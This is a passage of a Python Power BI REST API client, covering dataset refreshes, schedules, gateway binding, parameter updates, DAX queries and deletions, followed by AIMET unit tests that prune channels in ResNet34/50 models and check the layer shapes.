res.json() except requests.exceptions.HTTPError as ex: print("HTTP Error: ", ex, "\nText: ", ex.response.text) except requests.exceptions.RequestException as e: print("Request exception: ", e) def get_refresh_history_in_group(self, workspace_id, dataset_id, top=None): """Returns the refresh history for the specified dataset from the specified workspace. ### Parameters ---- workspace_id: str uuid The Power Bi workspace id. You can take it from PBI Service URL dataset_id: str uuid The Power Bi Dataset id. You can take it from PBI Service URL top: int The requested number of entries in the refresh history. If not provided, the default is all available entries. ### Returns ---- Dict: A dictionary containing a refresh history in a dataset from workspace. """ try: url = "https://api.powerbi.com/v1.0/myorg/groups/{}/datasets/{}/refreshes".format(workspace_id, dataset_id) if top != None: url = url + "?$top={}".format(str(top)) res = requests.get(url, headers={'Content-Type': 'application/json', "Authorization": "Bearer {}".format(self.token)}) res.raise_for_status() return res.json() except requests.exceptions.HTTPError as ex: print("HTTP Error: ", ex, "\nText: ", ex.response.text) except requests.exceptions.RequestException as e: print("Request exception: ", e) def get_refresh_schedule(self, dataset_id): """Returns the refresh schedule for the specified dataset from My workspace. ### Parameters ---- dataset_id: str uuid The Power Bi Dataset id. You can take it from PBI Service URL ### Returns ---- Dict: A dictionary containing a refresh schedule in a dataset from My workspace. """ try: url = "https://api.powerbi.com/v1.0/myorg/datasets/{}/refreshSchedule".format(dataset_id) res = requests.get(url, headers={'Content-Type': 'application/json', "Authorization": "Bearer {}".format(self.token)}) res.raise_for_status() return res.json() except requests.exceptions.HTTPError as ex: print("HTTP Error: ", ex, "\nText: ", ex.response.text) except requests.exceptions.RequestException as e: print("Request exception: ", e) def get_refresh_schedule_in_group(self, workspace_id, dataset_id): """Returns the refresh schedule for the specified dataset from the specified workspace. ### Parameters ---- workspace_id: str uuid The Power Bi workspace id. You can take it from PBI Service URL dataset_id: str uuid The Power Bi Dataset id. You can take it from PBI Service URL ### Returns ---- Dict: A dictionary containing a refresh schedule in a dataset from workspace. """ try: url = "https://api.powerbi.com/v1.0/myorg/groups/{}/datasets/{}/refreshSchedule".format(workspace_id, dataset_id) res = requests.get(url, headers={'Content-Type': 'application/json', "Authorization": "Bearer {}".format(self.token)}) res.raise_for_status() return res.json() except requests.exceptions.HTTPError as ex: print("HTTP Error: ", ex, "\nText: ", ex.response.text) except requests.exceptions.RequestException as e: print("Request exception: ", e) def refresh_dataset(self, dataset_id, notifyOption): """Triggers a refresh for the specified dataset from My workspace. For Shared capacities, a maximum of eight requests per day, which includes refreshes executed using a scheduled refresh. ### Parameters ---- dataset_id: str uuid The Power Bi Dataset id. You can take it from PBI Service URL ### Request Body ---- notifyOption: NotifyOption str Mail notification options (success and/or failure, or none). Options: { MailOnCompletion, MailOnFailure, NoNotification } ### Returns ---- Response object from requests library. 202 OK """ try: url= "https://api.powerbi.com/v1.0/myorg/datasets/{}/refreshes".format(dataset_id) body = { "notifyOption": notifyOption } headers={'Content-Type': 'application/json', "Authorization": "Bearer {}".format(self.token)} res = requests.post(url, data = json.dumps(body), headers = headers) res.raise_for_status() return res except requests.exceptions.HTTPError as ex: print("HTTP Error: ", ex, "\nText: ", ex.response.text) except requests.exceptions.RequestException as e: print("Request exception: ", e) def refresh_dataset_in_group(self, workspace_id, dataset_id, notifyOption): """Triggers a refresh for the specified dataset from the specified workspace. For Shared capacities, a maximum of eight requests per day, which includes refreshes executed using a scheduled refresh. ### Parameters ---- workspace_id: str uuid The Power Bi workspace id. You can take it from PBI Service URL dataset_id: str uuid The Power Bi Dataset id. You can take it from PBI Service URL ### Request Body ---- notifyOption: NotifyOption str Mail notification options (success and/or failure, or none). Options: { MailOnCompletion, MailOnFailure, NoNotification } ### Returns ---- Response object from requests library. 202 OK """ try: url= "https://api.powerbi.com/v1.0/myorg/groups/{}/datasets/{}/refreshes".format(workspace_id, dataset_id) body = { "notifyOption": notifyOption } headers={'Content-Type': 'application/json', "Authorization": "Bearer {}".format(self.token)} res = requests.post(url, data = json.dumps(body), headers = headers) res.raise_for_status() return res except requests.exceptions.HTTPError as ex: print("HTTP Error: ", ex, "\nText: ", ex.response.text) except requests.exceptions.RequestException as e: print("Request exception: ", e) def take_over_dataset_in_group(self, workspace_id, dataset_id): """Transfers ownership over the specified dataset to the current authorized user. ### Parameters ---- workspace_id: str uuid The Power Bi workspace id. You can take it from PBI Service URL dataset_id: str uuid The Power Bi Dataset id. You can take it from PBI Service URL ### Request Body ---- None ### Returns ---- Response object from requests library. 200 OK """ try: url= "https://api.powerbi.com/v1.0/myorg/groups/{}/datasets/{}/Default.TakeOver".format(workspace_id, dataset_id) headers={'Content-Type': 'application/json', "Authorization": "Bearer {}".format(self.token)} res = requests.post(url, headers = headers) res.raise_for_status() return res except requests.exceptions.HTTPError as ex: print("HTTP Error: ", ex, "\nText: ", ex.response.text) except requests.exceptions.RequestException as e: print("Request exception: ", e) def discover_gateways(self, dataset_id): """Returns a list of gateways that the specified dataset from My workspace can be bound to. This API call is only relevant to datasets that have at least one on-premises connection. For datasets with cloud-only connections, this API call returns an empty list. ### Parameters ---- dataset_id: str uuid The Power Bi Dataset id. You can take it from PBI Service URL ### Returns ---- Dict: A dictionary containing a list of gateways from My workspace. """ try: url = "https://api.powerbi.com/v1.0/myorg/datasets/{}/Default.DiscoverGateways".format(dataset_id) res = requests.get(url, headers={'Content-Type': 'application/json', "Authorization": "Bearer {}".format(self.token)}) res.raise_for_status() return res.json() except requests.exceptions.HTTPError as ex: print("HTTP Error: ", ex, "\nText: ", ex.response.text) except requests.exceptions.RequestException as e: print("Request exception: ", e) def discover_gateways_in_group(self, workspace_id, dataset_id): """Returns a list of gateways that the specified dataset from the specified workspace can be bound to. This API call is only relevant to datasets that have at least one on-premises connection. For datasets with cloud-only connections, this API call returns an empty list. ### Parameters ---- workspace_id: str uuid The Power Bi workspace id. You can take it from PBI Service URL dataset_id: The Power Bi Dataset id. You can take it from PBI Service URL ### Returns ---- Dict: A dictionary containing a list of gateways from the workspace. """ try: url = "https://api.powerbi.com/v1.0/myorg/groups/{}/datasets/{}/Default.DiscoverGateways".format(workspace_id, dataset_id) res = requests.get(url, headers={'Content-Type': 'application/json', "Authorization": "Bearer {}".format(self.token)}) res.raise_for_status() return res.json() except requests.exceptions.HTTPError as ex: print("HTTP Error: ", ex, "\nText: ", ex.response.text) except requests.exceptions.RequestException as e: print("Request exception: ", e) def delete_dataset(self, dataset_id): """Deletes the specified dataset from My workspace. ### Parameters ---- dataset_id: str uuid The Power Bi Dataset id. You can take it from PBI Service URL ### Returns ---- Response object from requests library. 200 OK """ try: url= "https://api.powerbi.com/v1.0/myorg/datasets/{}".format(dataset_id) headers={'Content-Type': 'application/json', "Authorization": "Bearer {}".format(self.token)} res = requests.delete(url, headers=headers) res.raise_for_status() return res except requests.exceptions.HTTPError as ex: print("HTTP Error: ", ex, "\nText: ", ex.response.text) except requests.exceptions.RequestException as e: print("Request exception: ", e) def delete_dataset_in_group(self, workspace_id, dataset_id): """Deletes the specified dataset from the specified workspace. ### Parameters ---- dataset_id: str uuid The Power Bi Dataset id. You can take it from PBI Service URL ### Returns ---- Response object from requests library. 200 OK """ try: url= "https://api.powerbi.com/v1.0/myorg/groups/{}/datasets/{}".format(workspace_id, dataset_id) headers={'Content-Type': 'application/json', "Authorization": "Bearer {}".format(self.token)} res = requests.delete(url, headers=headers) res.raise_for_status() return res except requests.exceptions.HTTPError as ex: print("HTTP Error: ", ex, "\nText: ", ex.response.text) except requests.exceptions.RequestException as e: print("Request exception: ", e) def execute_queries(self, dataset_id, query, return_pandas=False): """Executes Data Analysis Expressions (DAX) queries against the provided dataset. The dataset must reside in My workspace or another new workspace experience workspace. DAX query errors will result in: A response error, such as DAX query failure. A failure HTTP status code (400). Limitation: A query that requests more than one table, or more than 100,000 table rows, will result in Error. ### Parameters ---- dataset_id: str uuid The Power Bi Dataset id. You can take it from PBI Service URL query: str DAX query returning a Table. Starts with EVALUATE return_pandas: bool Flag to specify if you want to return a dict response or a pandas dataframe of events. ### Returns ---- If return_pandas = True returns a Pandas dataframe concatenating iterations otherwise it returns a dict of the response Response object from requests library. 200 OK """ try: url= "https://api.powerbi.com/v1.0/myorg/datasets/{}/executeQueries".format(dataset_id) body = {"queries": [{"query": query}], "serializerSettings": {"includeNulls": "true"}} headers={'Content-Type': 'application/json', "Authorization": "Bearer {}".format(self.token)} res = requests.post(url, data = json.dumps(body), headers = headers) #Encode text in json to avoid Unexpected UTF-8 BOM (decode using utf-8-sig) encoded_data = json.loads(res.text.encode().decode('utf-8-sig')) if return_pandas: #get columns from json response - keys from dict tabla_columnas = list(encoded_data['results'][0]['tables'][0]['rows'][0].keys()) columnas = [columnita.split("[")[1].split("]")[0] for columnita in tabla_columnas] print(columnas) #get the number of rows to loop data rows = len(encoded_data['results'][0]['tables'][0]['rows']) print(rows) #get data from json response - values from dict datos = [list(encoded_data['results'][0]['tables'][0]['rows'][n].values()) for n in range(rows-1)] print("datos") #build a dataframe from the collected data df = pd.DataFrame(data=datos, columns=columnas) print(df.head()) return df else: return encoded_data except requests.exceptions.HTTPError as ex: print("ERROR ", ex) except Exception as e: print("ERROR ", e) def execute_queries_in_group(self, workspace_id, dataset_id, query, return_pandas=False, impersonatedUserName=None): """Executes Data Analysis Expressions (DAX) queries against the provided dataset. The dataset must reside in My workspace or another new workspace experience workspace. DAX query errors will result in: A response error, such as DAX query failure. A failure HTTP status code (400). Limitation: A query that requests more than one table, or more than 100,000 table rows, will result in Error. ### Parameters ---- workspace_id: str uuid The Power Bi workspace id. You can take it from PBI Service URL dataset_id: str uuid The Power Bi Dataset id. You can take it from PBI Service URL return_pandas: bool Flag to specify if you want to return a dict response or a pandas dataframe of events. ### Body ---- query: str Requested. DAX query returning a Table. Starts with EVALUATE impersonatedUserName: str The UPN of a user to be impersonated. If the model is not RLS enabled, this will be ignored. E.g. "someuser@mycompany.com" ### Returns ---- If return_pandas = True returns a Pandas dataframe concatenating iterations otherwise it returns a dict of the response Response object from requests library. 200 OK """ try: url= "https://api.powerbi.com/v1.0/myorg/groups/{}/datasets/{}/executeQueries".format(workspace_id, dataset_id) body = {"queries": [{"query": query}], "serializerSettings": {"includeNulls": "true"}} if impersonatedUserName != None: body["impersonatedUserName"]=impersonatedUserName headers={'Content-Type': 'application/json', "Authorization": "Bearer {}".format(self.token)} res = requests.post(url, data = json.dumps(body), headers = headers) res.raise_for_status() #Encode text in json to avoid Unexpected UTF-8 BOM (decode using utf-8-sig) encoded_data = json.loads(res.text.encode().decode('utf-8-sig')) if return_pandas: #get columns from json response - keys from dict tabla_columnas = list(encoded_data['results'][0]['tables'][0]['rows'][0].keys()) columnas = [columnita.split("[")[1].split("]")[0] for columnita in tabla_columnas] print(columnas) #get the number of rows to loop data rows = len(encoded_data['results'][0]['tables'][0]['rows']) print(rows) #get data from json response - values from dict datos = [list(encoded_data['results'][0]['tables'][0]['rows'][n].values()) for n in range(rows-1)] print("datos") #build a dataframe from the collected data df = pd.DataFrame(data=datos, columns=columnas) print(df.head()) return df else: return encoded_data except requests.exceptions.HTTPError as ex: print("ERROR ", ex) except Exception as e: print("ERROR ", e) def update_parameters(self, dataset_id, updateDetails): """Updates the parameters values for the specified dataset from My workspace. If you're using enhanced dataset metadata, refresh the dataset to apply the new parameter values. If you're not using enhanced dataset metadata, wait 30 minutes for the update data sources operation to complete, and then refresh the dataset. ### Parameters ---- dataset_id: str uuid The Power Bi Dataset id. You can take it from PBI Service URL ### Request Body ---- updateDetails: UpdateMashupParameterDetails [] str The dataset parameter list to update. Example: [ { "name": "ParameterName1", "newValue": "NewDB" }, { "name": "ParameterName2", "newValue": "5678" } ] ### Returns ---- Response object from requests library. 200 OK ### Limitations ---- Datasets created using the public XMLA endpoint aren't supported. To make changes to those data sources, the admin must use the Azure Analysis Services client library for Tabular Object Model. DirectQuery connections are only supported with enhanced dataset metadata. Datasets with Azure Analysis Services live connections aren't supported. Maximum of 100 parameters per request. All specified parameters must exist in the dataset. Parameters values should be of the expected type. The parameter list cannot be empty or include duplicate parameters. Parameters names are case-sensitive. Parameter IsRequired must have a non-empty value. The parameter types Any and Binary cannot be updated. """ try: url= "https://api.powerbi.com/v1.0/myorg/datasets/{}/Default.UpdateParameters".format(dataset_id) body = { "updateDetails": updateDetails } headers={'Content-Type': 'application/json', "Authorization": "Bearer {}".format(self.token)} res = requests.post(url, data = json.dumps(body), headers = headers) res.raise_for_status() return res except requests.exceptions.HTTPError as ex: print("HTTP Error: ", ex, "\nText: ", ex.response.text) except requests.exceptions.RequestException as e: print("Request exception: ", e) def update_parameters_in_group(self, workspace_id, dataset_id, updateDetails): """Updates the parameters values for the specified dataset from the specified workspace. If you're using enhanced dataset metadata, refresh the dataset to apply the new parameter values. If you're not using enhanced dataset metadata, wait 30 minutes for the update data sources operation to complete, and then refresh the dataset. ### Parameters ---- workspace_id: str uuid The Power Bi workspace id. You can take it from PBI Service URL dataset_id: str uuid The Power Bi Dataset id. You can take it from PBI Service URL ### Request Body ---- updateDetails: UpdateMashupParameterDetails [] str The dataset parameter list to update. Example: [ { "name": "ParameterName1", "newValue": "NewDB" }, { "name": "ParameterName2", "newValue": "5678" } ] ### Returns ---- Response object from requests library. 200 OK ### Limitations ---- Datasets created using the public XMLA endpoint aren't supported. To make changes to those data sources, the admin must use the Azure Analysis Services client library for Tabular Object Model. DirectQuery connections are only supported with enhanced dataset metadata. Datasets with Azure Analysis Services live connections aren't supported. Maximum of 100 parameters per request. All specified parameters must exist in the dataset. Parameters values should be of the expected type. The parameter list cannot be empty or include duplicate parameters. Parameters names are case-sensitive. Parameter IsRequired must have a non-empty value. The parameter types Any and Binary cannot be updated. """ try: url= "https://api.powerbi.com/v1.0/myorg/groups/{}/datasets/{}/Default.UpdateParameters".format(workspace_id, dataset_id) body = { "updateDetails": updateDetails } headers={'Content-Type': 'application/json', "Authorization": "Bearer {}".format(self.token)} res = requests.post(url, data = json.dumps(body), headers = headers) res.raise_for_status() return res except requests.exceptions.HTTPError as ex: print("HTTP Error: ", ex, "\nText: ", ex.response.text) except requests.exceptions.RequestException as e: print("Request exception: ", e) def update_refresh_schedule(self, dataset_id, NotifyOption=None, days=None, enabled=None, localTimeZoneId=None, times=None): """Updates the refresh schedule for the specified dataset from My workspace. A request that disables the refresh schedule should contain no other changes. At least one day must be specified. If no times are specified, then Power BI will use a default single time per day. ### Parameters ---- dataset_id: str uuid The Power Bi Dataset id. You can take it from PBI Service URL ### Request Body ---- NotifyOption: ScheduleNotifyOption str Notification option at scheduled refresh termination. Example MailOnFailure or NoNotification. days: str [] Days to execute the refresh. Example: ["Sunday", "Tuesday"] enabled: bool is the refresh enabled localTimeZoneId: str The ID of the timezone to use. See TimeZone Info. Example "UTC" times: str [] Times to execute the refresh within each day. Example: ["07:00", "16:00"] ### Returns ---- Response object from requests library. 200 OK ### Limitations ---- The limit on the number of time slots per day depends on whether a Premium or Shared capacity is used. """ try: url= "https://api.powerbi.com/v1.0/myorg/datasets/{}/refreshSchedule".format(dataset_id) body = { "value": {} } if NotifyOption != None: body["value"]["NotifyOption"]=NotifyOption if days != None: body["value"]["days"] = days if enabled != None: body["value"]["enabled"] = enabled if localTimeZoneId != None: body["value"]["localTimeZoneId"] = localTimeZoneId if times != None: body["value"]["times"]=times headers={'Content-Type': 'application/json', "Authorization": "Bearer {}".format(self.token)} res = requests.patch(url, json.dumps(body), headers = headers) res.raise_for_status() return res except requests.exceptions.HTTPError as ex: print("HTTP Error: ", ex, "\nText: ", ex.response.text) except requests.exceptions.RequestException as e: print("Request exception: ", e) def update_refresh_schedule_in_group(self, workspace_id, dataset_id, NotifyOption=None, days=None, enabled=None, localTimeZoneId=None, times=None): """Updates the refresh schedule for the specified dataset from the specified workspace. A request that disables the refresh schedule should contain no other changes. At least one day must be specified. If no times are specified, then Power BI will use a default single time per day. ### Parameters ---- workspace_id: str uuid The Power Bi workspace id. You can take it from PBI Service URL dataset_id: str uuid The Power Bi Dataset id. You can take it from PBI Service URL ### Request Body ---- NotifyOption: ScheduleNotifyOption str Notification option at scheduled refresh termination. Example MailOnFailure or NoNotification. days: str [] Days to execute the refresh. Example: ["Sunday", "Tuesday"] enabled: bool is the refresh enabled localTimeZoneId: str The ID of the timezone to use. See TimeZone Info. Example "UTC" times: str [] Times to execute the refresh within each day. Example: ["07:00", "16:00"] ### Returns ---- Response object from requests library. 200 OK ### Limitations ---- The limit on the number of time slots per day depends on whether a Premium or Shared capacity is used. """ try: url= "https://api.powerbi.com/v1.0/myorg/groups/{}/datasets/{}/refreshSchedule".format(workspace_id, dataset_id) body = { "value": {} } if NotifyOption != None: body["value"]["NotifyOption"]=NotifyOption if days != None: body["value"]["days"] = days if enabled != None: body["value"]["enabled"] = enabled if localTimeZoneId != None: body["value"]["localTimeZoneId"] = localTimeZoneId if times != None: body["value"]["times"]=times headers={'Content-Type': 'application/json', "Authorization": "Bearer {}".format(self.token)} res = requests.patch(url, json.dumps(body), headers = headers) res.raise_for_status() return res except requests.exceptions.HTTPError as ex: print("HTTP Error: ", ex, "\nText: ", ex.response.text) except requests.exceptions.RequestException as e: print("Request exception: ", e) def bind_to_gateway_preview(self, dataset_id, gatewayObjectId, datasourceObjectIds): """Binds the specified dataset from My workspace to the specified gateway, optionally with a given set of data source IDs. If you don’t supply a specific data source ID, the dataset will be bound to the first matching data source in the gateway. Only supports the on-premises data gateway ### Parameters ---- dataset_id: str uuid The Power Bi Dataset id. You can take it from PBI Service URL ### Request Body ---- gatewayObjectId: str uuid The gateway ID. When using a gateway cluster, the gateway ID refers to the primary (first) gateway in the cluster and is similar to the gateway cluster ID. datasourceObjectIds: str [] The unique identifier for the datasource in the gateway ### Returns ---- Response object from requests library. 200 OK """ try: url= "https://api.powerbi.com/v1.0/myorg/datasets/{}/Default.BindToGateway".format(dataset_id) body = { "gatewayObjectId": gatewayObjectId, "datasourceObjectIds": datasourceObjectIds } headers={'Content-Type': 'application/json', "Authorization": "Bearer {}".format(self.token)} res = requests.post(url, json.dumps(body), headers = headers) res.raise_for_status() return res except requests.exceptions.HTTPError as ex: print("HTTP Error: ", ex, "\nText: ", ex.response.text) except requests.exceptions.RequestException as e: print("Request exception: ", e) def bind_to_gateway_in_group_preview(self, workspace_id, dataset_id, gatewayObjectId, datasourceObjectIds): """Binds the specified dataset from the specified workspace to the specified gateway, optionally with a given set of data source IDs. If you don’t supply a specific data source ID, the dataset will be bound to the first matching data source in the gateway. Only supports the on-premises data gateway ### Parameters ---- workspace_id: str uuid The Power Bi workspace id. You can take it from PBI Service URL dataset_id: str uuid The Power Bi Dataset id. You can take it from PBI Service URL ### Request Body ---- gatewayObjectId: str uuid The gateway ID. When using a gateway cluster, the gateway ID refers to the primary (first) gateway in the cluster and is similar to the gateway cluster ID. datasourceObjectIds: str [] The unique identifier for the datasource in the gateway ### Returns ---- Response object from requests library. 200 OK """ try: url= "https://api.powerbi.com/v1.0/myorg/groups/{}/datasets/{}/Default.BindToGateway".format(workspace_id, dataset_id) body = { "gatewayObjectId": gatewayObjectId, "datasourceObjectIds": datasourceObjectIds } headers={'Content-Type': 'application/json', "Authorization": "Bearer {}".format(self.token)} res = requests.post(url, json.dumps(body), headers = headers) res.raise_for_status() return res except requests.exceptions.HTTPError as ex: print("HTTP Error: ", ex, "\nText: ", ex.response.text) except requests.exceptions.RequestException as e: print("Request exception: ", e) def update_direct_query_refresh_schedule_in_group_preview(self, dataset_id, frequency=None, days=None, enabled=None, localTimeZoneId=None, times=None): """Updates the refresh schedule for a specified DirectQuery or LiveConnection dataset from My workspace. A request should contain either a set of days and times or a valid frequency, but not both. If you choose a set of days without specifying any times, then Power BI will use a default single time per day. Setting the frequency will automatically overwrite the days and times setting. ### Parameters ---- dataset_id: str uuid The Power Bi Dataset id. You can take it from PBI Service URL ### Request Body ---- frequency: int The interval in minutes between successive refreshes. Supported values are 15, 30, 60, 120, and 180. days: str [] Days to execute the refresh. Example: ["Sunday", "Tuesday"] enabled: bool is the refresh enabled localTimeZoneId: str The ID of the timezone to use. See TimeZone Info. Example "UTC" times: str [] Times to execute the refresh within each day. Example: ["07:00", "16:00"] ### Returns ---- Response object from requests library. 200 OK ### Limitations ---- The limit on the number of time slots per day depends on whether a Premium or Shared capacity is used. """ try: url= "https://api.powerbi.com/v1.0/myorg/datasets/{}/directQueryRefreshSchedule".format(dataset_id) body = { "value": {} } if frequency != None: body["value"]["frequency"]=frequency if days != None: body["value"]["days"] = days if enabled != None: body["value"]["enabled"] = enabled if localTimeZoneId != None: body["value"]["localTimeZoneId"] = localTimeZoneId if times != None: body["value"]["times"]=times headers={'Content-Type': 'application/json', "Authorization": "Bearer {}".format(self.token)} res = requests.patch(url, json.dumps(body), headers = headers) res.raise_for_status() return res except requests.exceptions.HTTPError as ex: print("HTTP Error: ", ex, "\nText: ", ex.response.text) except requests.exceptions.RequestException as e: print("Request exception: ", e) def update_direct_query_refresh_schedule_in_group_preview(self, workspace_id, dataset_id, frequency=None, days=None, enabled=None, localTimeZoneId=None, times=None): """Updates the refresh schedule for a specified DirectQuery or LiveConnection dataset from the specified workspace. A request should contain either a set of days and times or a valid frequency, but not both. If you choose a set of days without specifying any times, then Power BI will use a default single time per day. Setting the frequency will automatically overwrite the days and times setting. ### Parameters ---- workspace_id: str uuid The Power Bi workspace id. You can take it from PBI Service URL dataset_id: str uuid The Power Bi Dataset id. You can take it from PBI Service URL ### Request Body ---- frequency: int The interval in minutes between successive refreshes. Supported values are 15, 30, 60, 120, and 180. days: str [] Days to execute the refresh. Example: ["Sunday", "Tuesday"] enabled: bool is the refresh enabled localTimeZoneId: str The ID of the timezone to use. See TimeZone Info. Example "UTC" times: str [] Times to execute the refresh within each day. Example: ["07:00", "16:00"] ### Returns ---- Response object from requests library. 200 OK ### Limitations ---- The limit on the number of time slots per day depends on whether a Premium or Shared capacity is used. """ try: url= "https://api.powerbi.com/v1.0/myorg/groups/{}/datasets/{}/directQueryRefreshSchedule".format(workspace_id, dataset_id) body = { "value": {} } if frequency != None: body["value"]["frequency"]=frequency if days != None: body["value"]["days"] = days if enabled != None: body["value"]["enabled"] = enabled if localTimeZoneId != None: body["value"]["localTimeZoneId"] = localTimeZoneId if times != None: body["value"]["times"]=times headers={'Content-Type': 'application/json', "Authorization": "Bearer {}".format(self.token)} res = requests.patch(url, json.dumps(body), headers = headers) res.raise_for_status() return res except requests.exceptions.HTTPError as ex: print("HTTP Error: ", ex, "\nText: ", ex.response.text) except requests.exceptions.RequestException as e: print("Request exception: ", e)

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Python

NightlyTests/torch/test_winnow_resnet18.py

lipovsek/aimet

236fb02cc6c45e65c067030416c49a09ace82045

[ "BSD-3-Clause" ]

945

2020-04-30T02:23:55.000Z

2022-03-31T08:44:32.000Z

NightlyTests/torch/test_winnow_resnet18.py

lipovsek/aimet

236fb02cc6c45e65c067030416c49a09ace82045

[ "BSD-3-Clause" ]

563

2020-05-01T03:07:22.000Z

2022-03-30T05:35:58.000Z

NightlyTests/torch/test_winnow_resnet18.py

lipovsek/aimet

236fb02cc6c45e65c067030416c49a09ace82045

[ "BSD-3-Clause" ]

186

2020-04-30T00:55:26.000Z

2022-03-30T09:54:51.000Z

#/usr/bin/env python3.5 # -*- mode: python -*- # ============================================================================= # @@-COPYRIGHT-START-@@ # # Copyright (c) 2017-2018, Qualcomm Innovation Center, Inc. All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # 1. Redistributions of source code must retain the above copyright notice, # this list of conditions and the following disclaimer. # # 2. Redistributions in binary form must reproduce the above copyright notice, # this list of conditions and the following disclaimer in the documentation # and/or other materials provided with the distribution. # # 3. Neither the name of the copyright holder nor the names of its contributors # may be used to endorse or promote products derived from this software # without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE # ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE # LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. # # SPDX-License-Identifier: BSD-3-Clause # # @@-COPYRIGHT-END-@@ # ============================================================================= """ Winnowing acceptance tests for ResNet models. """ import unittest import torch from torchvision import models from aimet_torch.winnow.winnow import winnow_model from aimet_common.winnow.winnow_utils import OpConnectivity, ConnectivityType class WinnowResNet18Test(unittest.TestCase): """ Acceptance tests related to winnowing ResNet models. """ def test_winnowing_multiple_zeroed_resnet34(self): """ Tests winnowing resnet18 with multiple layers with zero planes. """ model = models.resnet34(pretrained=False) model.eval() # Test forward pass on the copied model before zeroing out channels in any layer.. input_shape = [1, 3, 224, 224] list_of_modules_to_winnow = [] input_channels_to_prune = [5, 9, 14, 18, 23, 27, 32, 36, 41, 45, 54] list_of_modules_to_winnow.append((model.layer4[1].conv2, input_channels_to_prune)) input_channels_to_prune = [5, 9, 14, 18, 23, 27, 32, 36, 41, 45, 54] list_of_modules_to_winnow.append((model.layer4[0].conv1, input_channels_to_prune)) input_channels_to_prune = [15, 29, 24, 28, 33, 47, 2, 3, 1, 5, 9] list_of_modules_to_winnow.append((model.layer3[1].conv2, input_channels_to_prune)) input_channels_to_prune = [33, 44, 55] list_of_modules_to_winnow.append((model.layer2[1].conv2, input_channels_to_prune)) input_channels_to_prune = [11, 12, 13, 14, 15] list_of_modules_to_winnow.append((model.layer2[0].conv2, input_channels_to_prune)) input_channels_to_prune = [55, 56, 57, 58, 59] list_of_modules_to_winnow.append((model.layer1[1].conv1, input_channels_to_prune)) input_channels_to_prune = [42, 44, 46] list_of_modules_to_winnow.append((model.layer1[0].conv2, input_channels_to_prune)) # Call the Winnow API. new_model, _ = winnow_model(model, input_shape, list_of_modules_to_winnow, reshape=True, in_place=False, verbose=True) # compare zeroed out and pruned model output # use double precision for lower absolute error input_tensor = torch.rand(input_shape).double() model.double() model.eval() validation_output = model(input_tensor) # validate winnowed net new_model.double() new_model.eval() test_output = new_model(input_tensor) self.assertTrue(test_output.shape == validation_output.shape) # layer1.0.conv2 input channels pruned from 64 --> 61 # weight (Tensor) : [out_channels, in_channels, kernel_size, kernel_size] self.assertEqual(new_model.layer1[0].conv2.in_channels, 61) self.assertEqual(list(new_model.layer1[0].conv2.weight.shape), [64, 61, 3, 3]) self.assertEqual(new_model.layer1[0].conv1.out_channels, 61) # layer1.1.conv1 output channels pruned from 64 --> 59 # weight (Tensor) : [out_channels, in_channels, kernel_size, kernel_size] self.assertEqual(new_model.layer1[1].conv1[1].in_channels, 59) self.assertEqual(list(new_model.layer1[1].conv1[1].weight.shape), [64, 59, 3, 3]) # layer2.0.conv2 input channels pruned from 128 --> 123 # weight (Tensor) : [out_channels, in_channels, kernel_size, kernel_size] self.assertEqual(new_model.layer2[0].conv2.in_channels, 123) self.assertEqual(list(new_model.layer2[0].conv2.weight.shape), [128, 123, 3, 3]) self.assertEqual(new_model.layer2[0].conv1.out_channels, 123) # layer2.1.conv2 input channels pruned from 128 --> 125 # weight (Tensor) : [out_channels, in_channels, kernel_size, kernel_size] self.assertEqual(new_model.layer2[1].conv2.in_channels, 125) self.assertEqual(list(new_model.layer2[1].conv2.weight.shape), [128, 125, 3, 3]) self.assertEqual(new_model.layer2[1].conv1.out_channels, 125) # layer3.1.conv2 input channels pruned from 256 --> 245 # weight (Tensor) : [out_channels, in_channels, kernel_size, kernel_size] self.assertEqual(new_model.layer3[1].conv2.in_channels, 245) self.assertEqual(list(new_model.layer3[1].conv2.weight.shape), [256, 245, 3, 3]) self.assertEqual(new_model.layer3[1].conv1.out_channels, 245) # layer4.0.conv1 input channels pruned from 256 --> 245 # weight (Tensor) : [out_channels, in_channels, kernel_size, kernel_size] self.assertEqual(new_model.layer4[0].conv1[1].in_channels, 245) self.assertEqual(list(new_model.layer4[0].conv1[1].weight.shape), [512, 245, 3, 3]) # layer4.1.conv2 input channels pruned from 512 --> 501 # weight (Tensor) : [out_channels, in_channels, kernel_size, kernel_size] self.assertEqual(new_model.layer4[1].conv2.in_channels, 501) self.assertEqual(list(new_model.layer4[1].conv2.weight.shape), [512, 501, 3, 3]) self.assertEqual(new_model.layer4[1].conv1.out_channels, 501) def test_winnowing_multiple_zeroed_resnet50(self): """ Tests winnowing resnet18 with multiple layers with zero planes. """ model = models.resnet50(pretrained=False) model.eval() input_shape = [1, 3, 224, 224] list_of_modules_to_winnow = [] input_channels_to_prune = [5, 9, 14, 18, 23, 27, 32, 36, 41, 45, 54] list_of_modules_to_winnow.append((model.layer4[1].conv2, input_channels_to_prune)) input_channels_to_prune = [5, 9, 14, 18, 23, 27, 32, 36, 41, 45, 54] list_of_modules_to_winnow.append((model.layer4[0].conv1, input_channels_to_prune)) input_channels_to_prune = [15, 29, 24, 28, 33, 47, 2, 3, 1, 5, 9] list_of_modules_to_winnow.append((model.layer3[1].conv2, input_channels_to_prune)) input_channels_to_prune = [33, 44, 55] list_of_modules_to_winnow.append((model.layer2[1].conv2, input_channels_to_prune)) input_channels_to_prune = [11, 12, 13, 14, 15] list_of_modules_to_winnow.append((model.layer2[0].conv2, 